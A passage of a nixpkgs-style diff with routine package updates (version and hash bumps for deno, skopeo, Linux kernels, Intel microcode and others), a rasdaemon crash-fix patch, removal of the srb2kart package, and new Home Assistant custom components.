+    hash = "sha256-Oi0WlGcgVx/ykp6laR20RosF+1P3jAEXBS1F43KGsUM=";
   };
 
-  npmDepsHash = "sha256-8iCb6s9VCuXfgU6Qc/bUHMiLgEgreEa7LU0j+1CYVI0=";
+  npmDepsHash = "sha256-fPONvfJK4cnKG6qYHh8WRN1ZCcIZxe2PVaXuMGHFB3Y=";
 
   dontNpmBuild = true;
 
diff --git a/pkgs/development/tools/skopeo/default.nix b/pkgs/development/tools/skopeo/default.nix
index 7afeb6313946..85efeb925b50 100644
--- a/pkgs/development/tools/skopeo/default.nix
+++ b/pkgs/development/tools/skopeo/default.nix
@@ -18,13 +18,13 @@
 
 buildGoModule rec {
   pname = "skopeo";
-  version = "1.14.2";
+  version = "1.15.0";
 
   src = fetchFromGitHub {
     rev = "v${version}";
     owner = "containers";
     repo = "skopeo";
-    hash = "sha256-js1Y7EGXinzOMMX9LjsG6D57UhGtZcvesOw/JDEKvoU=";
+    hash = "sha256-GMZjmKM2bFv57b2u7VjiA2OF6gD7vtoQ3ofS2rQfNrk=";
   };
 
   outputs = [ "out" "man" ];
diff --git a/pkgs/development/web/deno/default.nix b/pkgs/development/web/deno/default.nix
index d4ba0ad404df..ef291d6fee82 100644
--- a/pkgs/development/web/deno/default.nix
+++ b/pkgs/development/web/deno/default.nix
@@ -13,16 +13,16 @@
 }:
 rustPlatform.buildRustPackage rec {
   pname = "deno";
-  version = "1.41.2";
+  version = "1.41.3";
 
   src = fetchFromGitHub {
     owner = "denoland";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-l8He7EM9n8r7OTC6jN6F8ldf3INXxEeaUI1u6AfR7RI=";
+    hash = "sha256-Urcy3kvwBz5Ey0LnoT6/N7V/QJg2SIBHVmWa12WOTKw=";
   };
 
-  cargoHash = "sha256-T+6b4bGx7y/7E0CIacKFQ32DCAiNFXFi15ibq7rDfI4=";
+  cargoHash = "sha256-NhJ3Uldncjx/KHAMVCd6U4Q0fbmc+u4E7JNZHcy/zQY=";
 
   postPatch = ''
     # upstream uses lld on aarch64-darwin for faster builds
diff --git a/pkgs/development/web/deno/librusty_v8.nix b/pkgs/development/web/deno/librusty_v8.nix
index 7e8f9eafc498..4ced5309ffda 100644
--- a/pkgs/development/web/deno/librusty_v8.nix
+++ b/pkgs/development/web/deno/librusty_v8.nix
@@ -10,11 +10,11 @@ let
   };
 in
 fetch_librusty_v8 {
-  version = "0.83.2";
+  version = "0.85.0";
   shas = {
-    x86_64-linux = "sha256-RJNdy5jRZK3dTgrHsWuZZAHUyy1EogyNNuBekZ3Arrk=";
-    aarch64-linux = "sha256-mpOmuqtd7ob6xvrgH4P/6GLa/hXTS/ok0WOYo7+7ZhI=";
-    x86_64-darwin = "sha256-2o8CvJ3r5+4PLNGTySqPPDTqbU0piX4D1UtZMscMdHU=";
-    aarch64-darwin = "sha256-WHeITWSHjZxfQJndxcjsp4yIERKrKXSHFZ0UBc43p8o=";
+    x86_64-linux = "sha256-Ma6JewYaHuPLihKnwwq8pAo+6sraXMghnl+wMvRfP1Y=";
+    aarch64-linux = "sha256-Y55ZXuyB2kq2a/cJwIo7DxClg2juAsGYpyTmwYE2W3Q=";
+    x86_64-darwin = "sha256-njP3obzJxr8I4G3jhDNbiVL8Cxa9D4KPGXW7VFrAZQY=";
+    aarch64-darwin = "sha256-/8UFpUgdSKihxd4qsBoxYFrjEKUG3cDSkwJ5NSdmSQs=";
   };
 }
diff --git a/pkgs/development/web/publii/default.nix b/pkgs/development/web/publii/default.nix
index e6dbca0e71df..22aa123a8f40 100644
--- a/pkgs/development/web/publii/default.nix
+++ b/pkgs/development/web/publii/default.nix
@@ -25,11 +25,11 @@
 
 stdenv.mkDerivation rec {
   pname = "publii";
-  version = "0.45.1";
+  version = "0.45.2";
 
   src = fetchurl {
     url = "https://getpublii.com/download/Publii-${version}.deb";
-    hash = "sha256-R+TlxF6j5qv7wOr4lxCqd1pulyiEXPUe4B2HFMhD020=";
+    hash = "sha256-NGS5ovaJ6XskCimN48mqvUdoA+N9eDlIpazV0GDEs3E=";
   };
 
   dontConfigure = true;
diff --git a/pkgs/games/srb2kart/default.nix b/pkgs/games/srb2kart/default.nix
deleted file mode 100644
index 441ffd284a0d..000000000000
--- a/pkgs/games/srb2kart/default.nix
+++ /dev/null
@@ -1,87 +0,0 @@
-{ lib
-, stdenv
-, fetchurl
-, fetchFromGitHub
-, substituteAll
-, cmake
-, curl
-, nasm
-, unzip
-, game-music-emu
-, libpng
-, SDL2
-, SDL2_mixer
-, zlib
-}:
-
-let
-
-  release_tag = "v1.6";
-
-  assets = fetchurl {
-    url = "https://github.com/STJr/Kart-Public/releases/download/${release_tag}/AssetsLinuxOnly.zip";
-    sha256 = "sha256-ejhPuZ1C8M9B0S4+2HN1T5pbormT1eVL3nlivqOszdE=";
-  };
-
-in stdenv.mkDerivation {
-  pname = "srb2kart";
-  version = "1.6.0";
-
-  src = fetchFromGitHub {
-    owner = "STJr";
-    repo = "Kart-Public";
-    rev = release_tag;
-    sha256 = "sha256-5sIHdeenWZjczyYM2q+F8Y1SyLqL+y77yxYDUM3dVA0=";
-  };
-
-  nativeBuildInputs = [
-    cmake
-    nasm
-    unzip
-  ];
-
-  buildInputs = [
-    curl
-    game-music-emu
-    libpng
-    SDL2
-    SDL2_mixer
-    zlib
-  ];
-
-  cmakeFlags = [
-    "-DGME_INCLUDE_DIR=${game-music-emu}/include"
-    "-DSDL2_MIXER_INCLUDE_DIR=${lib.getDev SDL2_mixer}/include/SDL2"
-    "-DSDL2_INCLUDE_DIR=${lib.getDev SDL2}/include/SDL2"
-  ];
-
-  patches = [
-    ./wadlocation.patch
-  ];
-
-  postPatch = ''
-    substituteInPlace src/sdl/i_system.c \
-        --replace '@wadlocation@' $out
-  '';
-
-  preConfigure = ''
-    mkdir assets/installer
-    pushd assets/installer
-    unzip ${assets} "*.kart" srb2.srb
-    popd
-  '';
-
-  postInstall = ''
-    mkdir -p $out/bin $out/share/games/SRB2Kart
-    mv $out/srb2kart* $out/bin/
-    mv $out/*.kart $out/share/games/SRB2Kart
-  '';
-
-  meta = with lib; {
-    description = "SRB2Kart is a classic styled kart racer";
-    homepage = "https://mb.srb2.org/threads/srb2kart.25868/";
-    platforms = platforms.linux;
-    license = licenses.gpl2Plus;
-    maintainers = with maintainers; [ viric ];
-  };
-}
diff --git a/pkgs/games/srb2kart/wadlocation.patch b/pkgs/games/srb2kart/wadlocation.patch
deleted file mode 100644
index 1923cda041d2..000000000000
--- a/pkgs/games/srb2kart/wadlocation.patch
+++ /dev/null
@@ -1,61 +0,0 @@
-diff --git a/src/sdl/i_system.c b/src/sdl/i_system.c
-index 51f708d0..c4d971f7 100644
---- a/src/sdl/i_system.c
-+++ b/src/sdl/i_system.c
-@@ -139,7 +139,7 @@ typedef LPVOID (WINAPI *p_MapViewOfFile) (HANDLE, DWORD, DWORD, DWORD, SIZE_T);
- 
- // Locations for searching the srb2.srb
- #if defined (__unix__) || defined(__APPLE__) || defined (UNIXCOMMON)
--#define DEFAULTWADLOCATION1 "/usr/local/share/games/SRB2Kart"
-+#define DEFAULTWADLOCATION1 "@wadlocation@"
- #define DEFAULTWADLOCATION2 "/usr/local/games/SRB2Kart"
- #define DEFAULTWADLOCATION3 "/usr/share/games/SRB2Kart"
- #define DEFAULTWADLOCATION4 "/usr/games/SRB2Kart"
-@@ -3646,47 +3646,6 @@ static const char *locateWad(void)
- 	if (((envstr = I_GetEnv("SRB2WADDIR")) != NULL) && isWadPathOk(envstr))
- 		return envstr;
- 
--#ifndef NOCWD
--	I_OutputMsg(",.");
--	// examine current dir
--	strcpy(returnWadPath, ".");
--	if (isWadPathOk(returnWadPath))
--		return NULL;
--#endif
--
--
--#ifdef DEFAULTDIR
--	I_OutputMsg(",HOME/" DEFAULTDIR);
--	// examine user jart directory
--	if ((envstr = I_GetEnv("HOME")) != NULL)
--	{
--		sprintf(returnWadPath, "%s" PATHSEP DEFAULTDIR, envstr);
--		if (isWadPathOk(returnWadPath))
--			return returnWadPath;
--	}
--#endif
--
--
--#ifdef CMAKECONFIG
--#ifndef NDEBUG
--	I_OutputMsg(","CMAKE_ASSETS_DIR);
--	strcpy(returnWadPath, CMAKE_ASSETS_DIR);
--	if (isWadPathOk(returnWadPath))
--	{
--		return returnWadPath;
--	}
--#endif
--#endif
--
--#ifdef __APPLE__
--	OSX_GetResourcesPath(returnWadPath);
--	I_OutputMsg(",%s", returnWadPath);
--	if (isWadPathOk(returnWadPath))
--	{
--		return returnWadPath;
--	}
--#endif
--
- 	// examine default dirs
- #ifdef DEFAULTWADLOCATION1
- 	I_OutputMsg(","DEFAULTWADLOCATION1);
diff --git a/pkgs/misc/screensavers/xlockmore/default.nix b/pkgs/misc/screensavers/xlockmore/default.nix
index 2345c3bf9872..79b4adae6eb2 100644
--- a/pkgs/misc/screensavers/xlockmore/default.nix
+++ b/pkgs/misc/screensavers/xlockmore/default.nix
@@ -3,11 +3,11 @@
 
 stdenv.mkDerivation rec {
   pname = "xlockmore";
-  version = "5.75";
+  version = "5.76";
 
   src = fetchurl {
     url = "http://sillycycle.com/xlock/xlockmore-${version}.tar.xz";
-    sha256 = "sha256-ldDfx1w+RO2CjowSqTiS6JU28dtIr0+4thZon2hIBrg=";
+    sha256 = "sha256-gnn7crvjflmW05+J8EIg0pbK11IGlXz/EbCqc7gFvfM=";
     curlOpts = "--user-agent 'Mozilla/5.0'";
   };
 
diff --git a/pkgs/os-specific/linux/dpdk/default.nix b/pkgs/os-specific/linux/dpdk/default.nix
index c92f40e3935f..5c20e45ec354 100644
--- a/pkgs/os-specific/linux/dpdk/default.nix
+++ b/pkgs/os-specific/linux/dpdk/default.nix
@@ -2,7 +2,7 @@
 , kernel
 , fetchurl
 , pkg-config, meson, ninja, makeWrapper
-, libbsd, numactl, libbpf, zlib, libelf, jansson, openssl, libpcap, rdma-core
+, libbsd, numactl, libbpf, zlib, elfutils, jansson, openssl, libpcap, rdma-core
 , doxygen, python3, pciutils
 , withExamples ? []
 , shared ? false
@@ -38,7 +38,7 @@ in stdenv.mkDerivation {
   buildInputs = [
     jansson
     libbpf
-    libelf
+    elfutils
     libpcap
     numactl
     openssl.dev
diff --git a/pkgs/os-specific/linux/ipp-usb/default.nix b/pkgs/os-specific/linux/ipp-usb/default.nix
index 38d9afddaca6..decdea12ee3d 100644
--- a/pkgs/os-specific/linux/ipp-usb/default.nix
+++ b/pkgs/os-specific/linux/ipp-usb/default.nix
@@ -1,13 +1,13 @@
 { buildGoModule, avahi, libusb1, pkg-config, lib, fetchFromGitHub, ronn }:
 buildGoModule rec {
   pname = "ipp-usb";
-  version = "0.9.24";
+  version = "0.9.25";
 
   src = fetchFromGitHub {
     owner = "openprinting";
     repo = "ipp-usb";
     rev = version;
-    sha256 = "sha256-06Kb4s9oN53llz/Yya45ig5rd86VvlcK+vRh3bL/MAw=";
+    sha256 = "sha256-ryKQDzb31JA192lbCYkwJrXgwErViqIzP4mD2NmWdgA=";
   };
 
   postPatch = ''
diff --git a/pkgs/os-specific/linux/kernel/generic.nix b/pkgs/os-specific/linux/kernel/generic.nix
index 14c863b459b1..9c1f5a86f37e 100644
--- a/pkgs/os-specific/linux/kernel/generic.nix
+++ b/pkgs/os-specific/linux/kernel/generic.nix
@@ -12,8 +12,10 @@
 , rustc
 , rustPlatform
 , rust-bindgen
+, nixosTests
+}:
 
-, # The kernel source tarball.
+{ # The kernel source tarball.
   src
 
 , # The kernel version.
@@ -66,7 +68,6 @@
 , preferBuiltin ? stdenv.hostPlatform.linux-kernel.preferBuiltin or false
 , kernelArch ? stdenv.hostPlatform.linuxArch
 , kernelTests ? []
-, nixosTests
 , ...
 }@args:
 
diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index cb825a1adbac..21772b2e03eb 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -2,52 +2,52 @@
     "4.19": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-4.19.307-hardened1.patch",
-            "sha256": "01i15w3qzwag2v4r5r5bqyk337pidhmcfif228f286cnjnqz5d7h",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/4.19.307-hardened1/linux-hardened-4.19.307-hardened1.patch"
+            "name": "linux-hardened-4.19.309-hardened1.patch",
+            "sha256": "1hww72w5anmfr9czqbl31glzl70s34492k9qz9zax141zg1sf6sp",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/4.19.309-hardened1/linux-hardened-4.19.309-hardened1.patch"
         },
-        "sha256": "0lp3fc7sqy48vpcl2g0n1bz7i1hp9k0nlz3i1xfh9l056ihzzvl3",
-        "version": "4.19.307"
+        "sha256": "1yc45kfiwdqsqa11sxafs82b0day6qvgjcll8rx9vipidsmagbcm",
+        "version": "4.19.309"
     },
     "5.10": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-5.10.210-hardened1.patch",
-            "sha256": "1fdkkl303kvw9sg9lpzg83157xrl9jcl4jjli1gi2a4j0yz2479n",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/5.10.210-hardened1/linux-hardened-5.10.210-hardened1.patch"
+            "name": "linux-hardened-5.10.212-hardened1.patch",
+            "sha256": "0h04i94vshhcli5m4qpnqg4vsi5v1ifvdhhklk7c0bvkfk35cbml",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/5.10.212-hardened1/linux-hardened-5.10.212-hardened1.patch"
         },
-        "sha256": "0vggj3a71awc1w803cdzrnkn88rxr7l1xh9mmdcw9hzxj1d3r9jf",
-        "version": "5.10.210"
+        "sha256": "14vll2bghd52wngjxy78hgglydcxka59yziji0w56dcdpmky9wqc",
+        "version": "5.10.212"
     },
     "5.15": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-5.15.149-hardened1.patch",
-            "sha256": "1y56l5l50h673a4n2pb3i3wh494lpnlw9vvdfr6m0jr0vymldb57",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/5.15.149-hardened1/linux-hardened-5.15.149-hardened1.patch"
+            "name": "linux-hardened-5.15.151-hardened1.patch",
+            "sha256": "040jc5n9qsdz2wv5ksfvc28vd72nmya2i2f0ps0jiras6l2wlhjz",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/5.15.151-hardened1/linux-hardened-5.15.151-hardened1.patch"
         },
-        "sha256": "1c01fnaghj55mkgsgddznq1zq4mswsa05rz00kmh1d3y6sd8115x",
-        "version": "5.15.149"
+        "sha256": "0jby224ncdardjwmf8c59s5j71inpvdlzah984ilf2b6y85pc7la",
+        "version": "5.15.151"
     },
     "5.4": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-5.4.269-hardened1.patch",
-            "sha256": "06vf0mlp822i4bkpsxbyk1xjlbzabqpncy8qw9zajpjajwv87d7x",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/5.4.269-hardened1/linux-hardened-5.4.269-hardened1.patch"
+            "name": "linux-hardened-5.4.271-hardened1.patch",
+            "sha256": "0rw5il7885d0d3k2hmh46541svib6rp32g00fcl5bw37ydmq3z8b",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/5.4.271-hardened1/linux-hardened-5.4.271-hardened1.patch"
         },
-        "sha256": "1kqqm4hpif3jy2ycnb0dfjgzyn18vqhm1i5q7d7rkisks33bwm7z",
-        "version": "5.4.269"
+        "sha256": "0l2qv4xlhnry9crs90rkihsxyny6jz8kxw08bfad7nys9hrn3g6d",
+        "version": "5.4.271"
     },
     "6.1": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-6.1.79-hardened1.patch",
-            "sha256": "0inip6pmlwrj75vwjimkjgvh4jn6ldrq5312r02xh1i95qb0sg3a",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/6.1.79-hardened1/linux-hardened-6.1.79-hardened1.patch"
+            "name": "linux-hardened-6.1.81-hardened1.patch",
+            "sha256": "0af9dxdsa858zyqc0vsrzg098afhg5vpb2wpr6gj2ykwc13iaf07",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/6.1.81-hardened1/linux-hardened-6.1.81-hardened1.patch"
         },
-        "sha256": "16xkd0hcslqlcf55d4ivzhf1fkhfs5yy0m9arbax8pmm5yi9r97s",
-        "version": "6.1.79"
+        "sha256": "0arl96yrqplbmp2gjyqcfma1lgc30kbn95m0sflv0yyldwf8dg8f",
+        "version": "6.1.81"
     },
     "6.5": {
         "patch": {
@@ -62,12 +62,12 @@
     "6.6": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-6.6.18-hardened1.patch",
-            "sha256": "0svlck53b7bd38b9b0hzgppmhm59d35r2vqv30ga85ghkvc61byn",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/6.6.18-hardened1/linux-hardened-6.6.18-hardened1.patch"
+            "name": "linux-hardened-6.6.21-hardened1.patch",
+            "sha256": "0k35s5pj92lvfp6kw3isg78zc3gijsg0xbzcyvxdkmhzaq8j6i1i",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/6.6.21-hardened1/linux-hardened-6.6.21-hardened1.patch"
         },
-        "sha256": "07cv97l5jiakmmv35n0ganvqfr0590b02f3qb617qkx1zg2xhhsf",
-        "version": "6.6.18"
+        "sha256": "0mz420w99agr7jv1jgqfr4fjhzbv005xif086sqx556s900l62zf",
+        "version": "6.6.21"
     },
     "6.7": {
         "patch": {
diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index c838d6371b6a..b9207f0ac2f5 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -4,35 +4,35 @@
         "hash": "sha256:0q9isgv6lxzrmb4idl0spxv2l7fsk3nn4cdq0vdw9c8lyzrh5yy0"
     },
     "6.1": {
-        "version": "6.1.81",
-        "hash": "sha256:0arl96yrqplbmp2gjyqcfma1lgc30kbn95m0sflv0yyldwf8dg8f"
+        "version": "6.1.82",
+        "hash": "sha256:01pcrcjp5mifjjmfz7j1jb8nhq8nkxspavxmv1l7d1qnskcx4l6i"
     },
     "5.15": {
-        "version": "5.15.151",
-        "hash": "sha256:0jby224ncdardjwmf8c59s5j71inpvdlzah984ilf2b6y85pc7la"
+        "version": "5.15.152",
+        "hash": "sha256:0zm4wkryj4mim4fr7pf5g9rlzh31yb1c40lkp85lvcm5yhjm507h"
     },
     "5.10": {
-        "version": "5.10.212",
-        "hash": "sha256:14vll2bghd52wngjxy78hgglydcxka59yziji0w56dcdpmky9wqc"
+        "version": "5.10.213",
+        "hash": "sha256:105df7w6m5a3fngi6ajqs5qblaq4lbxsgcppllrk7v1r68i31kw4"
     },
     "5.4": {
-        "version": "5.4.271",
-        "hash": "sha256:0l2qv4xlhnry9crs90rkihsxyny6jz8kxw08bfad7nys9hrn3g6d"
+        "version": "5.4.272",
+        "hash": "sha256:0rp3waqrm489crcrms2ls7fxcw5jdkjhazvx82z68gj0kaaxb69m"
     },
     "4.19": {
-        "version": "4.19.309",
-        "hash": "sha256:1yc45kfiwdqsqa11sxafs82b0day6qvgjcll8rx9vipidsmagbcm"
+        "version": "4.19.310",
+        "hash": "sha256:0sfy2g9jzxd8ia0idll72l7npi2kssdkz29h8jjxhilgmg299v4m"
     },
     "6.6": {
-        "version": "6.6.21",
-        "hash": "sha256:0mz420w99agr7jv1jgqfr4fjhzbv005xif086sqx556s900l62zf"
+        "version": "6.6.22",
+        "hash": "sha256:1x52c6ywmspp3naishzsknhy7i0b7mv9baxx25a0y987cjsygqr3"
     },
     "6.7": {
-        "version": "6.7.9",
-        "hash": "sha256:0inkvyrvq60j9lxgivkivq3qh94lsfc1dpv6vwgxmy3q0zy37mqg"
+        "version": "6.7.10",
+        "hash": "sha256:00vw90mypcliq0d72jdh1ql2dfmm7gpswln2qycxdz7rfsrrzfd9"
     },
     "6.8": {
-        "version": "6.8",
-        "hash": "sha256:1wv5x7qhcd05m8m0myyqm2il6mha1sx11h7ppf8yjsxvx2jdwsf9"
+        "version": "6.8.1",
+        "hash": "sha256:0s7zgk9m545v8y7qjhv7cprrh58j46gpmb8iynyhy2hlwcv8j34d"
     }
 }
diff --git a/pkgs/os-specific/linux/kernel/linux-libre.nix b/pkgs/os-specific/linux/kernel/linux-libre.nix
index afdc6bb5fd01..01daee4015f0 100644
--- a/pkgs/os-specific/linux/kernel/linux-libre.nix
+++ b/pkgs/os-specific/linux/kernel/linux-libre.nix
@@ -1,8 +1,8 @@
 { stdenv, lib, fetchsvn, linux
 , scripts ? fetchsvn {
     url = "https://www.fsfla.org/svn/fsfla/software/linux-libre/releases/branches/";
-    rev = "19500";
-    sha256 = "1xlicxwb1j5m4yjyw9ybyffmilzg7xh847jxfl4jy318vjpkmffr";
+    rev = "19509";
+    sha256 = "0dkjvpb075jdasvic8sfpy0dj48fsxgj2yl0zrply7gkaahgns8q";
   }
 , ...
 }:
diff --git a/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix b/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix
index 747d5aec7790..188ca24100b1 100644
--- a/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix
@@ -6,7 +6,7 @@
 , ... } @ args:
 
 let
-  version = "5.10.210-rt102"; # updated by ./update-rt.sh
+  version = "5.10.211-rt103"; # updated by ./update-rt.sh
   branch = lib.versions.majorMinor version;
   kversion = builtins.elemAt (lib.splitString "-" version) 0;
 in buildLinux (args // {
@@ -17,14 +17,14 @@ in buildLinux (args // {
 
   src = fetchurl {
     url = "mirror://kernel/linux/kernel/v5.x/linux-${kversion}.tar.xz";
-    sha256 = "0vggj3a71awc1w803cdzrnkn88rxr7l1xh9mmdcw9hzxj1d3r9jf";
+    sha256 = "1cir36s369fl6s46x16xnjg0wdlnkipsp2zhz11m9d3z205hly1s";
   };
 
   kernelPatches = let rt-patch = {
     name = "rt";
     patch = fetchurl {
       url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz";
-      sha256 = "1q4365ix990iw33a63cpn61qvgf8rkzf658xyi0hnr6292hlvajj";
+      sha256 = "07br63p90gwmijxq8ad7iyi4d3fkm6jwwl2s2k1549bbaldchbk6";
     };
   }; in [ rt-patch ] ++ kernelPatches;
 
diff --git a/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix b/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix
index cd2f60d3921d..463385036292 100644
--- a/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix
@@ -6,7 +6,7 @@
 , ... } @ args:
 
 let
-  version = "5.4.264-rt88"; # updated by ./update-rt.sh
+  version = "5.4.271-rt89"; # updated by ./update-rt.sh
   branch = lib.versions.majorMinor version;
   kversion = builtins.elemAt (lib.splitString "-" version) 0;
 in buildLinux (args // {
@@ -14,14 +14,14 @@ in buildLinux (args // {
 
   src = fetchurl {
     url = "mirror://kernel/linux/kernel/v5.x/linux-${kversion}.tar.xz";
-    sha256 = "1c5n47dq9khb15hz24a000k3hj913vv1dda6famnm8wpjbfr176k";
+    sha256 = "0l2qv4xlhnry9crs90rkihsxyny6jz8kxw08bfad7nys9hrn3g6d";
   };
 
   kernelPatches = let rt-patch = {
     name = "rt";
     patch = fetchurl {
       url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz";
-      sha256 = "1yzdiip1fm9szx2hhvq9ph7jq00qglb1skis6gv0184g0ls2qddg";
+      sha256 = "15k9jja5yd9zf5yhd7hhydwh4hksg2mybk66jhdjsryh4w9jav7z";
     };
   }; in [ rt-patch ] ++ kernelPatches;
 
diff --git a/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix b/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix
index 514baa0ca598..4ff7e1c54b04 100644
--- a/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix
@@ -6,7 +6,7 @@
 , ... } @ args:
 
 let
-  version = "6.6.20-rt25"; # updated by ./update-rt.sh
+  version = "6.6.21-rt26"; # updated by ./update-rt.sh
   branch = lib.versions.majorMinor version;
   kversion = builtins.elemAt (lib.splitString "-" version) 0;
 in buildLinux (args // {
@@ -18,14 +18,14 @@ in buildLinux (args // {
 
   src = fetchurl {
     url = "mirror://kernel/linux/kernel/v6.x/linux-${kversion}.tar.xz";
-    sha256 = "08nxv2240d2ak6p2vsbjasnp7askamswby3h6cclhhihkgrwgxp2";
+    sha256 = "0mz420w99agr7jv1jgqfr4fjhzbv005xif086sqx556s900l62zf";
   };
 
   kernelPatches = let rt-patch = {
     name = "rt";
     patch = fetchurl {
       url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz";
-      sha256 = "1sfalbcfzzjmskxpix1850cypg4zixwzbd9rmpg37n8lclivn2gv";
+      sha256 = "1sh2jkm3h52a5dkc72xgrw1kz1faw1kzhpbqg64gsxbivmxfvf21";
     };
   }; in [ rt-patch ] ++ kernelPatches;
 
diff --git a/pkgs/os-specific/linux/microcode/intel.nix b/pkgs/os-specific/linux/microcode/intel.nix
index de51beb2cc18..6953bbca8963 100644
--- a/pkgs/os-specific/linux/microcode/intel.nix
+++ b/pkgs/os-specific/linux/microcode/intel.nix
@@ -2,13 +2,13 @@
 
 stdenv.mkDerivation rec {
   pname = "microcode-intel";
-  version = "20231114";
+  version = "20240312";
 
   src = fetchFromGitHub {
     owner = "intel";
     repo = "Intel-Linux-Processor-Microcode-Data-Files";
     rev = "microcode-${version}";
-    hash = "sha256-cZ7APDjwjarPCzk1HWxqIXdGwNOl6HG0KSCtffmEhx0=";
+    hash = "sha256-4ZSA+LVczfjZINXhImmFOCc/6kKNrrUQvrXPdOvMM8g=";
   };
 
   nativeBuildInputs = [ iucode-tool libarchive ];
diff --git a/pkgs/os-specific/linux/odp-dpdk/default.nix b/pkgs/os-specific/linux/odp-dpdk/default.nix
index 7ac560824db8..bc8bf488def9 100644
--- a/pkgs/os-specific/linux/odp-dpdk/default.nix
+++ b/pkgs/os-specific/linux/odp-dpdk/default.nix
@@ -10,8 +10,9 @@
 , numactl
 , openssl
 , zlib
+, zstd
 , libbsd
-, libelf
+, elfutils
 , jansson
 , libnl
 }:
@@ -37,8 +38,9 @@ stdenv.mkDerivation rec {
     numactl
     openssl
     zlib
+    zstd
     libbsd
-    libelf
+    elfutils
     jansson
     libbpf
     libnl
diff --git a/pkgs/os-specific/linux/rasdaemon/default.nix b/pkgs/os-specific/linux/rasdaemon/default.nix
index c65a11fe8525..35478732fb8c 100644
--- a/pkgs/os-specific/linux/rasdaemon/default.nix
+++ b/pkgs/os-specific/linux/rasdaemon/default.nix
@@ -2,6 +2,7 @@
 , autoreconfHook, pkg-config
 , glibcLocales, kmod, coreutils, perl
 , dmidecode, hwdata, sqlite, libtraceevent
+, fetchpatch
 , nixosTests
 }:
 
@@ -16,6 +17,14 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-BX3kc629FOh5cnD6Sa/69wKdhmhT3Rpz5ZvhnD4MclQ=";
   };
 
+  patches = [
+    (fetchpatch { # fix #295002 (segfault on AMD), will be in the release after 0.8.0
+      name = "fix crash on AMD";
+      url = "https://github.com/mchehab/rasdaemon/commit/f1ea76375281001cdf4a048c1a4a24d86c6fbe48.patch";
+      hash = "sha256-1VPDTrAsvZGiGbh52EUdG6tYV/n6wUS0mphOSXzran0=";
+    })
+  ];
+
   nativeBuildInputs = [ autoreconfHook pkg-config ];
 
   buildInputs = [
diff --git a/pkgs/servers/home-assistant/custom-components/default.nix b/pkgs/servers/home-assistant/custom-components/default.nix
index 81e708b637bc..8bb7f9e0dfbf 100644
--- a/pkgs/servers/home-assistant/custom-components/default.nix
+++ b/pkgs/servers/home-assistant/custom-components/default.nix
@@ -10,6 +10,8 @@
 
   emporia_vue = callPackage ./emporia_vue {};
 
+  epex_spot = callPackage ./epex_spot {};
+
   govee-lan = callPackage ./govee-lan {};
 
   gpio = callPackage ./gpio {};
@@ -18,6 +20,10 @@
 
   miele = callPackage ./miele {};
 
+  moonraker = callPackage ./moonraker {};
+
+  omnik_inverter = callPackage ./omnik_inverter {};
+
   prometheus_sensor = callPackage ./prometheus_sensor {};
 
   waste_collection_schedule = callPackage ./waste_collection_schedule {};
diff --git a/pkgs/servers/home-assistant/custom-components/epex_spot/default.nix b/pkgs/servers/home-assistant/custom-components/epex_spot/default.nix
new file mode 100644
index 000000000000..e655a0d788d9
--- /dev/null
+++ b/pkgs/servers/home-assistant/custom-components/epex_spot/default.nix
@@ -0,0 +1,39 @@
+{ lib
+, fetchFromGitHub
+, buildHomeAssistantComponent
+, beautifulsoup4
+}:
+
+buildHomeAssistantComponent rec {
+  owner = "mampfes";
+  domain = "epex_spot";
+  version = "2.3.5";
+
+  src = fetchFromGitHub {
+    owner = "mampfes";
+    repo = "ha_epex_spot";
+    rev = "refs/tags/${version}";
+    hash = "sha256-WmPsFfQm8ChEr41XVgKi2BGwta5aKH9GDz4iIfTAPK4=";
+  };
+
+  propagatedBuildInputs = [
+    beautifulsoup4
+  ];
+
+  postPatch = ''
+    substituteInPlace custom_components/epex_spot/manifest.json --replace-fail 'bs4' 'beautifulsoup4'
+  '';
+
+  #skip phases without activity
+  dontConfigure = true;
+  doCheck = false;
+  dontBuild = true;
+
+  meta = with lib; {
+    changelog = "https://github.com/mampfes/ha_epex_spot/releases/tag/${version}";
